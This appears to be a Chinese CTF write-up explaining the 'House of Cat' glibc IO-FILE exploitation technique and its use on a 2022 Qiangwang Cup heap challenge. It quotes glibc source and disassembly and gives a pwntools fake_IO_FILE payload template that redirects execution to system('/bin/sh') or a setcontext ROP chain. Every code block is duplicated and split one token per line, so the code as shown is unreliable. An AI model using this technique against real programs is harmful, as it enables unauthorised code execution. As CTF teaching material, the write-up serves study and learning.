5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中。
House of emma 是glibc2.34下常用的攻击手法之一,利用条件只需任意写一个可控地址就可以控制程序执行流,攻击威力十分强大。但是需要攻击位于TLS的_pointer_chk_guard ,并且远程可能需要爆破TLS偏移。
House of Cat利用了House of emma的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过TLS上 _pointer_chk_guard 的检测相关的IO函数的调用,转而调用_IO_wfile_jumps 中的_IO_wfile_seekoff 函数,然后进入到_IO_switch_to_wget_mode 函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP 的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff 即可(通常是结合__malloc_assert ,改vtable为_IO_wfile_jumps+0x10 )。
1.能够任意写一个可控地址。 2.能够泄露堆地址和libc基址。 3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert(当然也可以用puts等函数,只不过需要任意地址写任意值直接改掉libc中的stdout结构体hhh),当进入IO流时会根据vtable指针调用相关的IO函数,如果在题目中造成任意地址写一个可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后伪造fake_IO结构体配合恰当的IO调用链,可以达到控制程序执行流的效果。
在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。
虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个_IO_xxx_jumps 的任意偏移,使得其调用攻击者想要调用的IO函数。
在glibc中存在一个函数_malloc_assert,其中会根据vtable表如_IO_xxx_jumps调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作 代码如下
house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个
1.topchunk的大小小于MINSIZE(0X20) 2.prev inuse位为0 3.old_top页未对齐
下面介绍另一种触发house of cat的方式FSOP
程序中所有的_IO_FILE 结构用_chain连接形成一个单链表,链表的头部则是_IO_list_all
FSOP就是通过劫持_IO_list_all的值(如large bin attack修改)来执行_IO_flush_all_lockp函数,这个函数会根据_IO_list_all刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链
触发条件则是有三种情况
FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除;__malloc_assert则是在malloc中触发,通常是修改top chunk的大小。
在_IO_wfile_jumps结构体中,会根据虚表进行相关的函数调用。
其中_IO_wfile_seekoff函数代码如下
其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码
而_IO_WOVERFLOW是glibc里定义的一个宏调用函数
对_IO_WOVERFLOW没有进行任何检测,为了便于理解,我们再来看看汇编代码
主要关注这几句,做了一下几点事情
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1 。 2.将新赋值的[rax1+0x20]处的内容赋值给rdx。 3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2 。 4.call调用[rax2+0x18]处的内容。
而rdi现在是什么状态呢?gdb调试来看看 可以看到这是一个堆地址,而实际上此时rdi就是伪造的IO结构体的地址,也是可控的。
在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱 的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag ;如果未开启沙箱 ,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串 ,就可执行system("/bin/sh")
1.修改_IO_list_all 为可控地址(FSOP )或修改stderr 为可控地址(__malloc_assert )。 2.在上一步的可控地址中伪造fake_IO结构体 (也可以在任意地址写的情况下修改stderr、stdout 等结构体)。 3.通过FSOP 或malloc 触发攻击。 为了便于理解,画个图
house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr 地址,_IO_save_end 为想要调用的函数,_IO_backup_base 为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)
保护全开,禁用了execve还检查了read的fd
main函数在每一次循环开始有对tcache_bins的赋值,相当于不让打tcache_bins造成任意地址写 sub_1A50函数对输入的cmd进行了格式检查,返回值部位0才能进入到do_cmd,do_cmd则是能够执行到堆块管理结构,先来看sub_1A50,为了便于查看,这里用代码展示
再来看看do_cmd函数
这里需要了解一下strtok等几个函数的作用,可以gdb动态调试结合静态逆向,不再赘述。首先我们需要login,然后再进入堆块管理函数,格式为
重点看一下堆块管理函数 add函数,calloc申请堆块,大小在0x418-0x470之间 delete函数有UAF edit函数只能编写48个字节(防止UAF造成溢出),且只有2次机会
无法退出main函数,也没有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基础上修改top chunk的size,这里用large bin attack修改。所以两次edit相当于给了两次large bin attack的机会,一次用来large bin attack stderr,一次用来large bin attack topchunk's size。另外由于对fd的检查,需要close(0)使flag文件的文件描述符为0,或者用mmap函数将flag映射读入。
1.泄露libc地址和堆地址 2.large bin attack stderr 3.large bin attack topchunk's size 4.伪造fake_IO 5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode。 6.setcontext执行rop链。
在2022强网杯初赛中,由于比赛前夕其他house of手法的发布以及House of emma+堆风水的使用,导致本题被非预期,但是强网杯house of cat这道题目本意不是通过现成的攻击方式来利用,而是考察现找IO链的能力,题目解法不限于一种,感兴趣的师傅可以自行去研究其他的攻击方式。
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
uintptr_t ptr
=
(uintptr_t) vtable;
uintptr_t offset
=
ptr
-
(uintptr_t)__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
_IO_vtable_check ();
return
vtable;
}
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t
*
IO_validate_vtable (const struct _IO_jump_t
*
vtable)
{
uintptr_t section_length
=
__stop___libc_IO_vtables
-
__start___libc_IO_vtables;
uintptr_t ptr
=
(uintptr_t) vtable;
uintptr_t offset
=
ptr
-
(uintptr_t)__start___libc_IO_vtables;
if
(__glibc_unlikely (offset >
=
section_length))
_IO_vtable_check ();
return
vtable;
}
static void
__malloc_assert (const char
*
assertion, const char
*
file
, unsigned
int
line,
const char
*
function)
{
(void) __fxprintf (NULL,
"%s%s%s:%u: %s%sAssertion `%s' failed.\n"
,
__progname, __progname[
0
] ?
": "
: "",
file
, line,
function ? function : "
", function ? "
:
" : "
",
assertion);
fflush (stderr);
abort ();
}
static void
__malloc_assert (const char
*
assertion, const char
*
file
, unsigned
int
line,
const char
*
function)
{
(void) __fxprintf (NULL,
"%s%s%s:%u: %s%sAssertion `%s' failed.\n"
,
__progname, __progname[
0
] ?
": "
: "",
file
, line,
function ? function : "
", function ? "
:
" : "
",
assertion);
fflush (stderr);
abort ();
}
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
int
_IO_flush_all_lockp (
int
do_lock)
{
...
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
...
}
}
int
_IO_flush_all_lockp (
int
do_lock)
{
...
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base))
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
{
result
=
EOF;
}
...
}
}
const struct _IO_jump_t _IO_wfile_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
const struct _IO_jump_t _IO_wfile_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
off64_t
_IO_wfile_seekoff (
FILE
*
fp, off64_t offset,
int
dir
,
int
mode)
{
off64_t result;
off64_t delta, new_offset;
long
int
count;
if
(mode
=
=
0
)
return
do_ftell_wide (fp);
int
must_be_exact
=
((fp
-
>_wide_data
-
>_IO_read_base
=
=
fp
-
>_wide_data
-
>_IO_read_end)
&& (fp
-
>_wide_data
-
>_IO_write_base
=
=
fp
-
>_wide_data
-
>_IO_write_ptr));
bool
was_writing
=
((fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base)
|| _IO_in_put_mode (fp));
if
(was_writing && _IO_switch_to_wget_mode (fp))
return
WEOF;
......
}
off64_t
_IO_wfile_seekoff (
FILE
*
fp, off64_t offset,
int
dir
,
int
mode)
{
off64_t result;
off64_t delta, new_offset;
long
int
count;
if
(mode
=
=
0
)
return
do_ftell_wide (fp);
int
must_be_exact
=
((fp
-
>_wide_data
-
>_IO_read_base
=
=
fp
-
>_wide_data
-
>_IO_read_end)
&& (fp
-
>_wide_data
-
>_IO_write_base
=
=
fp
-
>_wide_data
-
>_IO_write_ptr));
bool
was_writing
=
((fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base)
|| _IO_in_put_mode (fp));
if
(was_writing && _IO_switch_to_wget_mode (fp))
return
WEOF;
......
}
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
return
EOF;
......
}
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
return
EOF;
......
}
►
0x7f4cae745d30
<_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3b
<_IO_switch_to_wget_mode
+
11
> push rbx
0x7f4cae745d3c
<_IO_switch_to_wget_mode
+
12
> mov rbx, rdi
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d43
<_IO_switch_to_wget_mode
+
19
>
cmp
rdx, qword ptr [rax
+
0x18
]
0x7f4cae745d47
<_IO_switch_to_wget_mode
+
23
> jbe _IO_switch_to_wget_mode
+
56
<_IO_switch_to_wget_mode
+
56
>
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d50
<_IO_switch_to_wget_mode
+
32
> mov esi,
0xffffffff
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
►
0x7f4cae745d30
<_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3b
<_IO_switch_to_wget_mode
+
11
> push rbx
0x7f4cae745d3c
<_IO_switch_to_wget_mode
+
12
> mov rbx, rdi
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d43
<_IO_switch_to_wget_mode
+
19
>
cmp
rdx, qword ptr [rax
+
0x18
]
0x7f4cae745d47
<_IO_switch_to_wget_mode
+
23
> jbe _IO_switch_to_wget_mode
+
56
<_IO_switch_to_wget_mode
+
56
>
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d50
<_IO_switch_to_wget_mode
+
32
> mov esi,
0xffffffff
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
_wide_data
-
>_IO_read_ptr !
=
_wide_data
-
>_IO_read_end
_wide_data
-
>_IO_write_ptr > _wide_data
-
>_IO_write_base
fp
-
>_lock是一个可写地址(堆地址、libc中的可写地址)
_wide_data
-
>_IO_read_ptr !
=
_wide_data
-
>_IO_read_end
_wide_data
-
>_IO_write_ptr > _wide_data
-
>_IO_write_base
fp
-
>_lock是一个可写地址(堆地址、libc中的可写地址)
fake_io_addr
=
heapbase
+
0xb00
next_chain
=
0
fake_IO_FILE
=
p64(rdi)
fake_IO_FILE
+
=
p64(
0
)
*
7
fake_IO_FILE
+
=
p64(
1
)
+
p64(
2
)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0xb0
)
fake_IO_FILE
+
=
p64(call_addr)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x68
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x88
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapbase
+
0x1000
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xa0
,
'\x00'
)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x30
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xc0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
1
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xd8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libcbase
+
0x2160c0
+
0x10
)
fake_IO_FILE
+
=
p64(
0
)
*
6
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x40
)
fake_io_addr
=
heapbase
+
0xb00
next_chain
=
0
fake_IO_FILE
=
p64(rdi)
fake_IO_FILE
+
=
p64(
0
)
*
7
fake_IO_FILE
+
=
p64(
1
)
+
p64(
2
)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0xb0
)
fake_IO_FILE
+
=
p64(call_addr)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x68
,
'\x00'
)
fake_IO_FILE
+
=
p64(
0
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0x88
,
'\x00'
)
fake_IO_FILE
+
=
p64(heapbase
+
0x1000
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xa0
,
'\x00'
)
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x30
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xc0
,
'\x00'
)
fake_IO_FILE
+
=
p64(
1
)
fake_IO_FILE
=
fake_IO_FILE.ljust(
0xd8
,
'\x00'
)
fake_IO_FILE
+
=
p64(libcbase
+
0x2160c0
+
0x10
)
fake_IO_FILE
+
=
p64(
0
)
*
6
fake_IO_FILE
+
=
p64(fake_io_addr
+
0x40
)
__int64 __fastcall sub_1A50(char
*
a1, __int64 a2)
{
char
*
s;
/
/
[rsp
+
18h
] [rbp
-
28h
]
char
*
v4;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v5;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v6;
/
/
[rsp
+
20h
] [rbp
-
20h
]
const char
*
s2;
/
/
[rsp
+
28h
] [rbp
-
18h
]
char
*
v8;
/
/
[rsp
+
30h
] [rbp
-
10h
]
const char
*
s1;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
strstr(a1,
"QWB"
);
if
( !v4 )
return
0LL
;
/
/
包含 QWB,否则返回
0
也就是不能执行do_cmd
*
v4
=
0
;
v4[
1
]
=
0
;
v4[
2
]
=
32
;
v5
=
v4
+
3
;
s2
=
strtok(a1,
" "
);
/
/
用空格分隔开
if
( !strcmp(
"LOGIN"
, s2) )
{
*
(_BYTE
*
)(a2
+
8
)
=
1
;
}
else
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DOG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"CAT"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"MONKEY"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"FISH"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"PIG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"WOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DUCK"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"GOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"TIGER"
, s2) )
return
0LL
;
*
(_BYTE
*
)(a2
+
8
)
=
10
;
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
9
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
8
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
7
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
6
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
5
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
4
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
3
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
2
;
}
v8
=
strtok(
0LL
,
" "
);
if
( v8 !
=
strchr(v8,
'|'
) )
/
/
查找
'|'
的第一个匹配之处
return
0LL
;
*
(_QWORD
*
)a2
=
v8;
s1
=
strtok(
0LL
,
" "
);
if
( strcmp(s1,
"r00t"
) )
/
/
比较'r00t’的存在
return
0LL
;
s
=
v5
+
5
;
v6
=
strstr(v5,
"QWXF"
);
/
/
检查是否有
'QWXF'
if
( !v6 )
return
0LL
;
*
v6
=
0
;
v6[
1
]
=
0
;
v6[
2
]
=
0
;
v6[
3
]
=
32
;
*
(_QWORD
*
)(a2
+
16
)
=
s;
return
1LL
;
}
__int64 __fastcall sub_1A50(char
*
a1, __int64 a2)
{
char
*
s;
/
/
[rsp
+
18h
] [rbp
-
28h
]
char
*
v4;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v5;
/
/
[rsp
+
20h
] [rbp
-
20h
]
char
*
v6;
/
/
[rsp
+
20h
] [rbp
-
20h
]
const char
*
s2;
/
/
[rsp
+
28h
] [rbp
-
18h
]
char
*
v8;
/
/
[rsp
+
30h
] [rbp
-
10h
]
const char
*
s1;
/
/
[rsp
+
38h
] [rbp
-
8h
]
v4
=
strstr(a1,
"QWB"
);
if
( !v4 )
return
0LL
;
/
/
包含 QWB,否则返回
0
也就是不能执行do_cmd
*
v4
=
0
;
v4[
1
]
=
0
;
v4[
2
]
=
32
;
v5
=
v4
+
3
;
s2
=
strtok(a1,
" "
);
/
/
用空格分隔开
if
( !strcmp(
"LOGIN"
, s2) )
{
*
(_BYTE
*
)(a2
+
8
)
=
1
;
}
else
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DOG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"CAT"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"MONKEY"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"FISH"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"PIG"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"WOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"DUCK"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"GOLF"
, s2) )
{
if
(
*
(_BYTE
*
)(a2
+
8
) || strcmp(
"TIGER"
, s2) )
return
0LL
;
*
(_BYTE
*
)(a2
+
8
)
=
10
;
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
9
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
8
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
7
;
}
}
else
{
*
(_BYTE
*
)(a2
+
8
)
=
6
;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-3-9 15:00
被CatF1y编辑
,原因:
上传的附件: